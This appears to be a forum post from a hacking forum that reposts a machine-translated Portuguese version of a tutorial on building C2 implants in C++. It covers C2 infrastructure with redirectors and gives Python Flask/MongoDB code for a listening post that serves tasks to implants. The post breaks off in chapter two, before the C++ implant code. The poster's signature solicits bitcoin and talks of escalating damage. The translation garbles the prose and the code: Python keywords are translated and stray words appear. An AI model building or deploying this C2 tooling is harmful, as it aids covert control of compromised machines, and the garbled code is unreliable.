Neler yeni

Artigo Criação de implantes c2 em si-plus-plus: uma cartilha para iniciantes

fabio

Yeni Üye
Üye
Introdução Uma

introdução ao conteúdo do livro e o que esperar.


Os implantes de software C2 são uma parte fundamental de qualquer operação da Red Team. Ao longo dos anos, houve uma perspectiva de ambientes C2 para ajudar a configurar e gerenciar implantes de software no ambiente de destino. Isso inclui títulos como Empire, Cobalt Strike, Covenant, Merlin, Mythic, SILENTTRINITY, PoshC2, Liver e muitos mais. A lista cresceu tanto que esforços foram feitos para rastrear o número de ambientes C2 lançados sob o nome https://www.thec2matrix.com/. Para alguém que estuda táticas inimigas, este é um momento incrível para estudar essas coisas e determinar as qualidades de um boom implantado. Com uma abundância de postagens de blog e conferências sobre o assunto C2, agora é o momento perfeito para tentar construir seu próprio ambiente C2. Saber como os fundamentos dessas estruturas C2 são construídos fornecerão as habilidades necessárias para personalizar as ferramentas disponíveis para suas próprias necessidades ou você se beneficiará de uma soluçãoheced/EDoreda des forcãoheced/EDoreda des forc. Este livro visa dar-lhe um conhecimento básico de estruturas e implantes C2.

Olhando para a lista de software de código aberto C2, as linguagens de programação mais populares são C#, Python, PowerShell e Go. A linguagem C++ está começando a ter um pouco de problema, mas no momento em que este livro foi escrito ela não tinha muitas introduções e é mais difícil encontrar recursos sobre como escrever um C++ implantado C2. Existem várias vantagens em aprender a escrever um C2 implantado em C++, a maior delas é permitir que você interaja facilmente com a API do Windows, e executáveis tendem a ser mais difícil de fazer engenharia reversa em comparação reversa em comparação Cescri com implantes ou PowerShell. O C++ moderno também possui muitos recursos interessantes que valem a pena aplicar a um assunto como o C2. Este livro mostrará como você pode começar a construir implantes C2 usando C++ moderno.

A estrutura do livro começa com alguma teoria de design de estrutura C2 e princípios fundamentais. Ele é seguido por um Projeto Python para configurar um servidor C2 e construir os principais componentes do implante em C++. Por fim, maravilhamos em criar um cliente CLI que pode ser usado para interagir facilmente com o ouvinte e implantado.

O conteúdo é o seguinte:

Introdução
Capítulo 1: Projetando a infraestrutura C2
Capítulo 2: Instalando o ouvinte
Capítulo 3: Implantes e tarefas básicas
Capítulo 4: Operador CLI Cliente
Conclusão

Agradecimentos especiais


Todo o código-fonte usado neste livro é de código aberto e está disponível no seguinte repositório GitHub: https://github.com/shogunlab/building-c2-implants-in-cpp

O público deste livro é principalmente pessoas novas no desenvolvimento de implantes e aqueles que não têm muita experiência em C++. Estou assumindo algum conhecimento necessário, como estar conhecendo os fundamentos do desenvolvimento de software, mas tentarei explicar o máximo que puder. Na parte posterior 2, pretendo abranger que não são destinados a iniciantes, mas para este tutorial, quero criar uma base sólida que seja fácil/fácil de começar.

Finalmente, gostaria de agradecer às seguintes pessoas e grupos por fornecerem inspiração para este livro e me darem as habilidades para explorar este tópico:

Curso rápido de C++

O C++ Crash Course é uma introdução rápida e completa ao C++ moderno, escrito para programadores experientes.

Táticas Adversarias: Operações da Equipe Vermelha – SpecterOps


Treinamento de desenvolvimento de malware - NetSPI


www.netspi.com
Com isso, espero que gostem do livro e aprendam algo novo!

--Stephen Patterson

Meus planos para 2022 são aumentar e levar o dano para o próximo nível.
Iniciativa para traduzir. documentos para CS 4.3 - https://xss.is/threads/50543/ - !FEITO!
Você pode ajudar no Brintellix aqui - BC1QHDMKZL8FX77HDGZKKJS6XFRSWG460FJQQTTMRG
gosta Citar Responder
uma queixa

Capítulo 1: Projetando a infraestrutura C2

Discutindo os conceitos e o design da infraestrutura C2.


1669236536656.png



Introdução

Neste capítulo, abordaremos os conceitos básicos de software de Comando e Controle (C2) e práticas avançadas de Projeto. Nosso objetivo nesta seção é entender como é uma "boa" infraestrutura C2 e planejar uma base sólida sobre a qual construir os melhores componentes.

Configuração básica C2

Vamos começar discutindo o Projeto da configuração básica do C2. Primeiro, precisamos de um servidor que publique nossas tarefas e receba os resultados dessas tarefas (também conhecido como "ouvinte"). Em seguida, precisamos de um programa que será executado no computador de destino e entrará em contato com nosso servidor periodicamente para descobrir quais tarefas executar, concluir essas tarefas e responder com o resultado "conheciimplante"). Por fim, precisamos de um cliente onde o operador possa facilmente criar, gerenciar e enviar tarefas. As tarefas podem incluir coisas como retornar informações sobre o computador/rede em que o implante está sendo executado, executar comandos do Sistema operacional, enumerar processos/threads, injetar em outro processo,

1669236557523.png


No diagrama acima, há uma série de problemas com nosso Projeto básico. Primeiro, não é difícil para os defensores identificar diretamente seu posto de escuta e tomar ações direcionadas para interromper o canal C2. Em segundo lugar, não é segmentado, você faz todas as suas ações ofensivas por meio de um canal e de um servidor. É fácil para os defensores destruir todo o seu C2.

Adicionando Resiliência

Para tornar nossa configuração básica mais tolerante a falhas, podemos incluir outro servidor que proxie a comunicação com os implantes e redirecionar o tráfego para o posto de escuta, também conhecido como "redirecionador". Com a inclusão dos redirecionadores, você nunca mais precisará revelar o endereço do seu posto de escuta ao implantado. Assim, você priva esta informação de qualquer defensor que intercepte/analise suas mensagens C2. Outra vantagem é que você pode ter vários endereços de redirecionamento em seus implantados e, portanto, se um de seus redirecionadores para desativado ou bloqueado, seu implantado pode simplesmente voltar a usar um dos outros.

Para resolver o problema de segmentação, você pode ter vários postos de escuta responsáveis por lidar com diferentes aspectos do seu trabalho. Por exemplo, uma maneira de segmentar um design é ter um servidor que lide com as comunicações C2 avançadas e seja projetada para Ações do tipo "mãos no teclado", nas quais você precisa de instantâneo ou tarefas de "at". Você pode então ter outro servidor que será usado para restaurar o acesso à rede de destino ou para executar tarefas de "longo prazo". A ideia é que você espere que seu link de distância curta mais barulhento caia regularmente e você pode usar o link de buraco longo mais silencioso para recuperar o acesso. Idealmente, seu canal longo C2 também camel ter diferentes indicadores de rede/host.

1669236601987.png


Neste livro, vamos nos concentrar na construção de uma configuração simples que consiste apenas em poste de escuta, não implantado e no cliente da operadora. Uma seção sobre a adição de recursos que facilitam este Projeto mais do que uma estrutura básica está iniciada para a parte dois. Mas neste tutorial, vamos simplificar.

Recursos de ouvinte implantado C2

Agora que entendemos o layout geral da infraestrutura C2, é hora de mergulhar nos detalhes das funções de escuta e implantar para a configuração básica com a qual começou. O posto de escuta camelo permite que os usuários enviem tarefas e as publiquem para recuperação pelo implantado. Ele também permite que os usuários leiam as tarefas enviadas. Nosso canal C2 inicial será por HTTP, então o posto de escuta precisa executar tarefas ao receber uma solicitação GET do implantado e aceitar os resultados da tarefa da solicitação POST do implantado. Podemos implementar ações essenciais como uma API REST para fornecer fácil integração com uma plataforma web front-end ou cliente CLI. No que respeita ao nosso implantado, ele precisa ser capaz de operações assíncronas para que possa continuar se comunicando com o posto de escuta durate a execução de tarefas.

- Configurar os parâmetros do implante
- Ping
- Executar comandos do Sistema
- Reunir informações do fluxo do processo


Finalmente, precisamos de uma maneira conveniente de interagir com nosso posto de escuta como operador. Portanto, criaremos um cliente CLI do operador que pode se comunicar com a postagem do ouvinte. Nosso cliente de linha de comando será básico e nos permitirá começar com uma interface simples que pode ser criada rapidamente. Queremos que o operador possa enviar novas tarefas, visualizar o histórico das tarefas enviadas e recuperar os resultados das tarefas enviadas.

1669236625254.png


Nosso framework C2 completo será chamado de Natsumi e incluirá os seguintes componentes principais:


- Skytree : Nosso posto de escuta HTTP.
- RainDoll : nosso implantado C2 em C++.
- Fireworks : cliente CLI do nosso operador.

Conclusão

Neste capítulo, tivemos uma ideia do que o ambiente C2 básico camel fornece. Também apresentamos nossos planos para o Projeto C2 que criaremos neste livro e os recursos que queremos que ele isolado. Espero que você já esteja animado para começar a construir essas coisas. No Capítulo 2, começaremos nosso trabalho com uma mensagem de ouvinte e veremos como pode ser fácil desenvolver uma API REST para uso por nossos implantes. Vejo você no próximo capítulo!

https://posts.specterops.io/designi...k-infrastructure-767d4289af43?gi=c1727d943bb5

Modern Red Team Infrastructure - NetSPI

Tem havido muita conversa recentemente sobre estratégias modernas para infraestrutura de equipe verdilha. As implementações variam muito, mas esperamos poder fornecer algumas dicas sobre como Silent Break, em particular, enfrentar o desafio de Comando e Controle. Isso é reflexo de muitos erros...
www.netspi.com

GitHub - bluscreenofjeff/Red-Team-Infrastructure-Wiki: Wiki para coletar recursos de fortalecimento da infraestrutura do Red Team

Wiki para coletar recursos de proteção de infraestrutura do Red Team - GitHub - bluscreenofjeff/Red-Team-Infrastructure-Wiki: Wiki para coletar recursos de proteção de infraestrutura do Red Team
github.com




Capítulo 2: Instalando o posto de escuta

Crie um HTTP básico, API REST e posto de escuta do banco de dados.

1669238831369.png


Usando o código-fonte

Este é o capítulo em que começaremos a escrever todo o nosso código. Você pode baixar os arquivos fonte para este tutorial a partir do link na parte superior da página chamada "Código fonte do livro". Dentro você encontrará o código final do Projeto e versões adicionais em várias pastas de "capítulos". Você pode seguir a codificação à medida que avança ou simplesmente pular para diferentes pontos usando os projetos da pasta de capítulos.

Se você notar algo que pode ser melhorado e quiser enviar um pull request ou apenas visualizar o código-fonte no GitHub, o repositório pode ser encontrado aqui: https://github.com/shogunlab/building-c2-implants-in-cpp

Introdução

Nosso posto de escuta, conhecido como Skytree , será criado comhttps://flask.palletsprojects.com/en/1.1.x/ , um plug-in REST API chamado https://flask-restful.readthedocs.io/en/latest/ , e usaremos https://www. mongodb.com/, armazenamento de banco de dados. Em um nível alto, ele deve ser capaz de manter tarefas para o implantado, manter registros de tarefas enviadas e receber os resultados dessas tarefas. A razão pela qual escolhi o Flask para construir uma API REST é porque me sinto confortável programando em Python e posso começar rapidamente. Além disso, acho que o código-fonte é muito fácil de ler e entender se você está apenas começando. Decidir usar o MongoDB para armazenamento porque estou conhecendo com ele e queria usar algo que pudesse aceitar facilmente os resultados JSON de um implantado. Não tenho um forte motivo técnico para escolher o MongoDB, portanto, sinta-se à vontade para modificar o código-fonte para usar um banco de dados SQL, se essa for sua preferência.

Vamos dar o primeiro passo e escrever o código inicial para nossa postagem de ouvinte HTTP. Baixe o código-fonte deste livro e descompacte-o. Vamos instalar alguns pacotes Python, então recomendo usar uma ferramenta como https://virtualenv.pypa.io/en/latest/installation.html para ter um ambiente de instalação limpo. Mude para o diretório chamado " Chapter_2-1 " . Navegue até a pasta "Skytree" em uma janela de terminal e execute o comando para garantir que você selecionou as bibliotecas Python necessárias instaladas para o Projeto. Para o banco de dados, você precisa instalar o pip install -r requirements.txt https://www.mongodb.com/try/download/community . Você pode ler um guia de instalação detalhado aquihttps://docs.mongodb.com/manual/tutorial/install-mongodb-on-windows/ se tiver algum problema. Em seguida, abra o bolo "Skytree" em seu editor de código preferido e encontre o arquivo nomeado. Você vera o seguinte conteúdo:

Pitão:Copiar para área de transferência
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Inicialize nosso aplicativo Flask
app = Flask(__name__)

# Configure nosso banco de dados no localhost
app.config['MONGODB_SETTINGS'] = {
'host': ' mongodb://localhost/skytree'
}

# Inicialize nosso banco de dados
initialize_db(app)

# Inicialize nossa API
api = Api(app)

# Defina as rotas para cada um de nossos recursos
api.add_resource(resources.Tasks, '/tasks', endpoint ='tasks')

# Inicie o aplicativo Flask no modo de depuração
if __name__ == '__main__':
app.run(debug=True)
Banco de dados inicial e arquivo de modelos

Vamos dar uma sensação em cada um dos principais blocos de código no arquivo acima. Vamos começar inicializando o aplicativo Flask e o banco de dados:

Pitão:Copiar para área de transferência
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Inicialize nosso aplicativo Flask
app = Flask(__name__)

# Configure nosso banco de dados no localhost
app.config['MONGODB_SETTINGS'] = {
'host': ' mongodb://localhost/skytree'
}

# Inicialize nosso banco de dados
initialize_db(app)
Vá para o "database" e você verá dois arquivos:

- db.py
- models.py


Abra db.py e você verá o seguinte:

Pitão:Copiar para área de transferência
from flask_mongoengine import MongoEngine

# Inicialize o MongoEngine e nosso banco de dados
db = MongoEngine()

def initialize_db(app):
db.init_app(app)

O código acima inicializa o banco de dados e usa nosso aplicativo Flask como entrada. Abra o arquivo models.py e você pode ver onde definimos nossos modelos:

Pitão:Copiar para área de transferência
from database.db import db

# Define o objeto Task na
classe do banco de dados Task(db.DynamicDocument):
task_id = db.StringField(required=True)
O código acima informa ao banco de dados sobre cada campo que armazenamos e quais dados esperam. Para simplificar, estamos usando um "documento dinâmico" para não precisar especificar todos os campos. No modelo de tarefa, exigimos que um identificador seja fornecido para garantir que possamos acompanhar cada tarefa e comparar os resultados. Cada vez que adicionamos um novo recurso para uma API REST, queremos colocar a especificação do modelo correspondente neste arquivo.

API e recursos REST

Para facilitar o teste da API REST que estamos construindo, usaremos uma ferramenta chamada https://www.postman.com/downloads/. Você não precisa de uma conta para usar a ferramenta, basta selecionar a opção "pular" ao iniciar o aplicativo pela primeira vez. Acho essa ferramenta útil para experimentar APIs e interagir com elas facilmente. Incluí um arquivo de coleção do Postman para referência chamado "Skytree_REST_API.postman_collection.json" no diretório raiz dos arquivos de código-fonte do livro. Você pode importar essa coleção e usá-la para fazer a solicitação de API mencionada neste capítulo. Como alternativa, incluí trechos do PowerShell para fazer a solicitação de API, caso você prefira não usar o Postman.

Agora, de volta ao arquivo listening_post.py. No próximo bloco, configuramos a API REST e especificamos os recursos que mapeiam para cada um dos endpoints da API:

Pitão:Copiar para área de transferência
# Inicialize nossa API
api = Api(app)

# Defina as rotas para cada um de nossos recursos
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
O terminal "/tasks" será responsável por lidar com a criação de tarefas e exibir as tarefas existentes. Daremos uma sensação mais de perto neste recurso em breve, mas aqui estamos apenas definindo uma rota.

Por fim, no último bloco do nosso arquivo listen_post.py, executamos o aplicativo Flask em modo de depuração:

Pitão:Copiar para área de transferência
# Inicie o aplicativo Flask no modo de depuração
if __name__ == '__main__':
app.run(debug=True)
Money garante que tudo funcione conforme o esperado com nosso código inicial, awning execute o comando python listening_post.py da cake Skytree e navegue até o seguinte endereço em seu navegador http://127.0.0.1:5000/tasks . Você deve ver uma mensagem curta dizendo "GET Success!".

Vamos adicionar comportamento para nosso recurso "tarefas". Abra o arquivo chamado resources.py e você verá o seguinte conteúdo:

Pitão:Copiar para área de transferência
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
# ListTasks
def get(self):
# Add behavior for GET here
return "GET success !", 200

# AddTasks
def post(self):
# Adicionar comportamento para POST aqui
return "POST success!", 200
API

Primeiro definimos o comportamento das requisições GET. Vamos pegar todos os objetos Task que temos no banco de dados, convertê-los para o formato JSON e colocá-los em uma variável. Em seguida, retornamos isso na resposta GET:

Pitão:Copiar para área de transferência
# ListTasks
def get(self):
# Obtém todos os objetos da tarefa e os retorna ao usuário
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)
Para POST, vamos primeiro obter a carga JSON do corpo da solicitação e descobrir quantos objetos Task estão na solicitação. Em seguida, iremos carregá-lo em um objeto JSON e, para cada objeto Task, adicionar um UUID de rastreamento e armazená-lo no banco de dados. Finalmente, armazenamos tudo depois de "task_type" e "task_id" no array "task_options" para que possamos armazená-lo posteriormente no objeto TaskHistory. Retornamos uma resposta que inclui os objetos Task que foram adicionados ao banco de dados.

Pitão:Copiar para área de transferência
# AddTasks
def post(self):
# Analisa o corpo JSON que queremos adicionar ao
corpo do banco de dados = request.get_json()
json_obj = json.loads(json.dumps(body))
# Obtém o número de objetos Task no request
obj_num = len(body)
# Para cada objeto Task, adicione-o ao banco de dados
para i in range(len(body)):
# Adicione um UUID de tarefa a cada objeto de tarefa para rastreamento
json_obj['task_id'] = str(uuid.uuid4())
# Salva o objeto Task no banco de dados
Task(**json_obj).save()
# Carrega as opções fornecidas para a tarefa em um array para rastreamento no histórico
task_options = []
for key in json_obj .keys():
# Qualquer coisa que vem depois de task_type e task_id é tratado como uma opção
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[key])
# Retorna os últimos objetos Task que foram adicionados
return Response(Task.objects ) .skip(Task.objects.count() - obj_num).to_json(),
mimetype="application/json",
status=200)
Quando terminar de adicionar o código POST, seu arquivo resources.py camel ficará assim:

Pitão:Copiar para área de transferência
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
# ListTasks
def get(self):
# Obtenha todos os objetos da tarefa e retorne-os para the user
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)

# AddTasks
def post(self):
# Analisa o corpo JSON que queremos adicionar ao database
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Obtém o número de objetos Task na requisição
obj_num = len(body)
# Para cada objeto Task, adicione-o ao banco de dados
para i in range(len(body)):
# Adicione um UUID de tarefa a cada objeto de tarefa para rastrear
json_obj['task_id'] = str(uuid.uuid4() )
# Salva o objeto Task no banco de dados
Task(**json_obj).save()
# Carrega as opções fornecidas para a tarefa em um array para rastrear no histórico
task_options = []
for key in json_obj.keys() :
# Qualquer coisa que vem depois de task_type e task_id é tratado como uma opção
if (key != "task_type" e key != "task_id"):
task_options.append(key + ": " + json_obj[key])
# Retorna os últimos objetos Task que foram adicionados
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="aplicativo/json",
estado=200)
Vamos testar nossa API AddTasks. Inicie a postagem de escuta com o seguinte:

python listening_post.py


Depois de iniciar a postagem de escuta, faça a seguinte solicitação POST no seguinte formato (começando com uma simples tarefa "ping"):

Pitão:Copiar para área de transferência
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
{
"task_type":"ping"
}
]
Você também pode fazer a solicitação POST acima com as seguintes linhas de comando do PowerShell:

Pitão:Copiar para área de transferência
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n {` n `"task_type`":`"ping`"`n }`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$ resposta | ConvertTo-Json
Você deve receber uma resposta imediata com esta:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
}
]

Agora vamos testar uma API ListTasks visitando esse site ( http://127.0.0.1:5000/tasks ) em um navegador. Você deve receber uma resposta imediata com esta:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
}
]
Sinta-se à vontade para experimentar as APIs ListTasks e AddTasks. Você pode adicionar várias tarefas de ping e ver que cada uma é adicionada ao banco de dados e, em seguida, listada na resmail JSON quando ListTasks é chamada:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
},
{
"_id": {
"$ oid": "5f3731c46adea94a3b8bdc3d"
},
"task_id": "aa66f366-e699-44ae-a75b-2be72b62da2d",
"task_type": "ping"
}, {
"
_id": {
"$oid": "5f43731c768a " task_id": "fe9b1fa8-9ff4-4b41-9df2-012084e09a60", "task_type": "ping" } ]




API de

resultados Você pode encontrar o conteúdo completo do Projeto em uma pasta chamada " head_2-2" . Agora vamos adicionar nossa API de resultados, ListResults e AddResults. Primeiro, escreva o seguinte código para enterrar nosso objeto Result no banco de dados:

Pitão:Copiar para área de transferência
from database.db import db

# Define o objeto Task na
classe do banco de dados Task(db.DynamicDocument):
task_id = db.StringField(required=True)

# Define o objeto Result na
classe do banco de dados Result(db.DynamicDocument):
result_id = db.StringField( obrigatório=Verdadeiro)
Em seguida, editaremos nosso arquivo resources.py para importar o objeto de banco de dados Result:

from database.models import Task, Result

Agora podemos começar a adicionar lógica para a API de resultados com o seguinte modelo:

Pitão:Copiar para área de transferência
class Results(Resource):
# ListResults
def get(self):
# Adicionar comportamento para GET aqui
return "GET success!", 200

# AddResults
def post(self):
# Adicionar comportamento para POST aqui
return "POST success!", 200
A API ListResults pode ser criada adicionando o seguinte código para retornar os resultados ao usuário como uma resmail JSON:


Pitão:Copiar para área de transferência
# ListResults
def get(self):
# Obtém todos os objetos de resultado e os retorna ao usuário
results = Result.objects().to_json()
return Response(results, mimetype="application.json", status=200)
Você notará que o código acima é muito semelhante ao API ListTasks. Vamos criar uma API AddResults manipulando a solicitação POST. Primeiro verificamos se os resultados retornados estão vazios e, se estavam preenchidos, analisamos o JSON no corpo da solicitação. Salvamos cada objeto Result no banco de dados e obtemos uma lista de objetos Task aguardando para serem entregues ao implantado. Removemos os objetos Task que servimos para o implantado para que as tarefas nunca sejam executadas duas vezes. Em seguida, enviamos objetos Task para o implantar em resposta à solicitação POST:

Pitão:Copiar para área de transferência
# AddResults
def post(self):
# Verifica se os resultados do implante foram preenchidos
if str(request.get_json()) != '{}':
# Analisa o resultado JSON que queremos adicionar ao banco de dados
body = request .get_json()
print("Resposta de implante recebida: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Adicione um UUID de resultado a cada objeto de resultado para rastreamento
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve as últimas tarefas para implantar
tarefas = Task.objects().to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects( ).delete()
return Response(tarefas, mimetype="application/json", status=200)
Adicionamos uma seleção "else" para lidar com os casos em que nenhum resultado é retornado e simplesmente retornamos os objetos Task pendentes e os descartamos:

Pitão:Copiar para área de transferência
else:
# Serve as tarefas mais recentes para implantar
tasks = Task.objects().to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects().delete()
return Response(tasks, mimetype="application/json" , estado=200)
Quando terminar, seu arquivo resources.py camel ficará assim:

Pitão:Copiar para área de transferência
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result


class Tasks(Resource):
# ListTasks
def get(self):
# Obtenha todos os objetos da tarefa e retorne para o usuário
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)

# AddTasks
def post(self):
# Analisa o corpo JSON que queremos adicionar para o
corpo do banco de dados = request.get_json()
json_obj = json.loads(json.dumps(body))
# Obtenha o número de objetos Task na solicitação
obj_num = len(body)
# Para cada objeto Task, adicione-o ao banco de dados
para i in range(len(body)):
# Adicione um UUID de tarefa a cada objeto de tarefa para rastrear
json_obj['task_id'] = str(uuid.uuid4() )
# Salva o objeto Task no banco de dados
Task(**json_obj).save()
# Carrega as opções fornecidas para a tarefa em um array para rastrear no histórico
task_options = []
for key in json_obj.keys() :
# Qualquer coisa que vem depois de task_type e task_id é tratado como uma opção
if (key != "task_type" e key != "task_id"):
task_options.append(key + ": " + json_obj[key])
# Retorna os últimos objetos Task que foram adicionados
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="aplicativo/json",
status=200)

class Results(Resource):
# ListResults
def get(self):
# Obtém todos os objetos de resultado e os retorna para o usuário
results = Result.objects().to_json()
return Response(results, mimetype="application ) .json", status=200)

# AddResults
def post(self):
# Verifica se os resultados do implante foram preenchidos
if str(request.get_json()) != '{}':
# Analisa o resultado JSON que nós deseja adicionar ao banco de dados
body = request.get_json()
print("Resposta de implante recebida: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Adicione um UUID de resultado a cada resultado objeto para rastreamento
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve as tarefas mais recentes para implantar
tarefas = Task.objects().to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects().delete()
return Response(tasks , mimetype="application/json", status=200)
else:
# Serve as tarefas mais recentes para implantar
tarefas = Task.objects().to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects().delete( )
return Response(tasks, mimetype="application/json", status=200)
A última coisa que precisamos para concluir a API de resultados é abrir o arquivo listen_post.py e adicionar o seguinte código, que vincula o recurso "Results" ao endpoint "/results":

Pitão:Copiar para área de transferência
# Defina as rotas para cada um de nossos recursos
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
Você pode testar uma API AddResults enviando uma solicitação POST com o seguinte resultado de implantado simulado:

Pitão:Copiar para área de transferência
POST /resultados HTTP/1.1
Host: localhost:5000
Content-Type: application/json

{
"c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
"contents": "PONG!",
"success": "true"
}
}
A solicitação POST acima pode ser feita usando as seguintes linhas de comando do PowerShell:

Pitão:Copiar para área de transferência
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "{
`n `" c839c32a-9338-491b-9d57-30a4bfc4a2e8`": {
`n `"conteúdo`": `"PONG!`",
`n `"sucesso`": `"true`"
`n }
`n}"

$resposta = Invoke-RestMethod 'http://localhost:5000/results' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
AdicionarResultados:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f37540c87f8d76f8e578cff"
},
"task_id": "3bfd8e20-00f2-479d-b42f-f8af337b8aae",
"task_type": "ping"
}
]

Navegue até o endpoint http://localhost:5000/results e você verá os resultados fictícios da tarefa Ping salva:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f9ee7b276f94422b607e08e"
},
"result_id": "13b47ed9-35f2-4e36-ae3e-2a683eaca0fc",
"c839c32a-9338-491b-9d57-34bfc4a2e
" "PONG!",
" sucesso": "verdadeiro"
}
}
]
API de histórico de tarefas

Você encontrará o código do Projeto que criamos agora em uma pastelaria chamada até " capítulo-2-3 ". A última API que adicionaremos é ListHistory, que retornará todas as tarefas que foram concluídas com sucesso para um implantado e seus resultados associados (quando recebidos de um implantado). Novamente, vamos começar definindo o objeto TaskHistory em nosso arquivo models.py:

Pitão:Copiar para área de transferência
from database.db import db

# Define o objeto Task na
classe do banco de dados Task(db.DynamicDocument):
task_id = db.StringField(required=True)

# Define o objeto Result na
classe do banco de dados Result(db.DynamicDocument):
result_id = db.StringField( required=True)

# Define o objeto TaskHistory na
classe do banco de dados TaskHistory(db.DynamicDocument):
task_object = db.StringField()
Adicione "TaskHistory" como uma importação na parte superior do arquivo resources.py:

Pitão:Copiar para área de transferência
from database.models import Task, Result, TaskHistory
Em seguida, modificaremos nossa API AddTasks para copiar as tarefas enviadas ao implantadas para nossa coleção TaskHistory:

Pitão:Copiar para área de transferência
# Carregue as opções fornecidas para a tarefa em um array para rastrear no histórico
task_options = []
for key in json_obj.keys():
# Qualquer coisa que vier depois de task_type e task_id é tratado como uma opção
if (key != " task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[key])
# Adicionar ao histórico de tarefas
TaskHistory(
task_id=json_obj['task_id'],
task_type= json_obj['task_type'],
task_object=json.dumps(json_obj),
task_options=task_options,
task_results=""
).save()
Agora vamos adicionar algum esqueleto para nossa API ListHistory resources.py ao arquivo:

Pitão:Copiar para área de transferência
class History(Resource):
# ListHistory
def get(self):
# Adicionar comportamento para GET here
return "GET success!", 200
A primeira coisa que faremos nesta API é obter todos os objetos TaskHistory e armazená-los em uma variável para voltar mais tarde e armazenar todos os resultados que tivermos em uma coleção para que possamos combiná-los com as tarefas:

Pitão:Copiar para área de transferência
# ListHistory
def get(self):
# Obtém todos os objetos do histórico de tarefas para que possamos retorná-los ao usuário
task_history = TaskHistory.objects().to_json()
# Atualiza todas as tarefas servidas com resultados do implante
# Obtém todos os objetos de resultado e retorne-os para o usuário
results = Result.objects().to_json()
json_obj = json.loads(results)
Em seguida, formatamos cada resultado para ser mais conveniente para nós e os exibimos com o task_id correspondente aos parâmetros task_results:

Pitão:Copiar para área de transferência
# Formate cada resultado do implante para ser mais amigável para consumo/exibição
result_obj_collection = []
for i in range(len(json_obj)):
for field in json_obj:
result_obj = {
"task_id": field,
"task_results" : json_obj[campo]
}
result_obj_collection.append(result_obj)
Por fim, procuramos quaisquer resultados com um ID de tarefa que corresponde às tarefas que atendemos anteriormente e os inserimos no objeto TaskHistory apropriado, após o qual retornamos os objetos TaskHistory ao usuário:

Pitão:Copiar para área de transferência
# Para cada resultado na coleção, verifique um ID de tarefa correspondente e, se
# houver uma correspondência, atualize-a com os resultados. Isso é hacky e provavelmente há
# uma solução mais elegante para atualizar as tarefas com seus resultados quando elas chegam...
for result in result_obj_collection:
if TaskHistory.objects(task_id=result["task_id"]):
TaskHistory.objects(task_id= result["task_id"]).update_one(
set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)
Provavelmente existe uma maneira mais elegante e simples de fazer o que foi dito acima, mas por enquanto é bom para nossos propósitos.

O arquivo resources.py completo camel ficará assim:

Pitão:Copiar para área de transferência
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result, TaskHistory


class Tasks(Resource):
# ListTasks
def get(self):
# Obtenha todos os objetos da tarefa e retorne-os para o usuário
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)

# AddTasks
def post(self):
# Analisa o corpo JSON que queremos para adicionar ao banco de dados
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Obtém o número de objetos Task na requisição
obj_num = len(body)
# Para cada objeto Task, adicione-o ao banco de dados
para i in range(obj_num):
# Adicione um UUID de tarefa a cada objeto de tarefa para rastreamento
json_obj['task_id'] = str(uuid.uuid4())
# Salve Objeto de tarefa para o banco de dados
Task(**json_obj).save()
# Carrega as opções fornecidas para a tarefa em um array para rastreamento no histórico
task_options = []
for key in json_obj.keys():
# Anything que vem depois de task_type e task_id é tratado como uma opção
if (key != "task_type" e key != "task_id"):
task_options.append(key + ": " + json_obj[key])
# Add to task histórico
TaskHistory(
task_id=json_obj['task_id'],
task_type=json_obj['task_type'],
task_object=json.dumps(json_obj),
task_options=task_options,
task_results=""
).save()
# Retorna os últimos objetos Task que foram adicionados
